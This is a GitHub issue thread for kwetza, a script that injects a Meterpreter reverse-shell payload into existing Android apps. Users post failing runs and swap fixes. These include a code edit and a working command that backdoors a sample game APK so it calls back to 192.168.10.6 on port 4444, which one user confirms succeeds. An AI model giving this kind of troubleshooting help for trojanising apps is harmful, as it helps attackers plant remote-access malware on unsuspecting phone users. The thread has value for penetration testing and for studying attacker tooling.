sensepost / kwetza

Python script to inject existing Android applications with a Meterpreter payload.
GNU General Public License v2.0
629 stars 238 forks source link

[+] NO LAUNCHER FOUND, PLEASE SPECIFY A TARGET CLASS #33

Open las12xc opened 6 years ago

las12xc commented 6 years ago
                                       _                  _              ___    ___  
                                      | |                | |            |__ \  / _ \ 

| | __| | ) || | | | | ' _ \| '_ | ' _ \| '_ \ | |/ /\ \ /\ / / \ | / ` | / / | | | | | | | | | | | | | | | | | | | | | | | | | | < \ V V / / | / / (| | / / | || | || || ||| || ||| || ||| || || ||_\ _/\/ _|_/_,| |_()_/

[] DECOMPILING TARGET APK [+] ENDPOINT IP: 192.168.0.104 [+] ENDPOINT PORT: 4444 [+] APKTOOL DECOMPILED SUCCESS [] BYTING TCP COMMS [*] ANALYZING ANDROID MANIFEST [DEBUG] Attempting to find MAIN [+] NO LAUNCHER FOUND, PLEASE SPECIFY A TARGET CLASS please help me

rickjr commented 5 years ago

Open kwetza.py script, edit:

NOW WE NEED TO DECOMPILE THE APPLICATION

command = ["apktool", "d", ""+cwd+"/"+sys.argv[1]]
p = subprocess.Popen(command, stdout=subprocess.PIPE)
result = p.communicate()[0]

(remove option -f and -r parameters)

Ahmedabdsalam commented 5 years ago

!!! ERROR IN 'injectCrazyPermissions' method list index out of range @rickjr I did as you said!

WinMore commented 5 years ago

add AssistActivity after yes or no sample: python kwetza.py PokemonDuel.apk tcp 192.168.10.6 4444 yes AssistActivity

Palmus84 commented 5 years ago

add AssistActivity after yes or no sample: python kwetza.py PokemonDuel.apk tcp 192.168.10.6 4444 yes AssistActivity

It works!

kshitijguptaa commented 4 years ago

[] DECOMPILING TARGET APK [+] ENDPOINT IP: 192.168.0.104 [+] ENDPOINT PORT: 4444 Destination directory (/root/Desktop/kwetza-master/RandomChat) already exists. Use -f switch if you want to overwrite it. [+] APKTOOL DECOMPILED SUCCESS [] BYTING HTTPS COMMS [] ANALYZING ANDROID MANIFEST [] USING CUSTOM ACTIVITY: AssistActivity [*] PREPARING PAYLOADS !!! ERROR IN 'readPayloads' method [Errno 2] No such file or directory: '/root/Desktop/kwetza-master/RandomChat/smali/AssistActivity.smali' !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

NOT WORKING AT ALL ANY OTHER ALTERNATIVE???

palashtaru1984 commented 4 years ago

Open kwetza.py script, edit:

NOW WE NEED TO DECOMPILE THE APPLICATION

command = ["apktool", "d", ""+cwd+"/"+sys.argv[1]] p = subprocess.Popen(command, stdout=subprocess.PIPE) result = p.communicate()[0] (remove option -f and -r parameters)

i already did it but still not working

MAHDI1251 commented 3 years ago

root@kali:~/Desktop/kwetza# python kwetza.py install File "/root/Desktop/kwetza/kwetza.py", line 17 print "BYTING TCP COMMS" ^ SyntaxError: Missing parentheses in call to 'print'. Did you mean print("BYTING TCP COMMS")? root@kali:~/Desktop/kwetza#

i have problem have can i fix?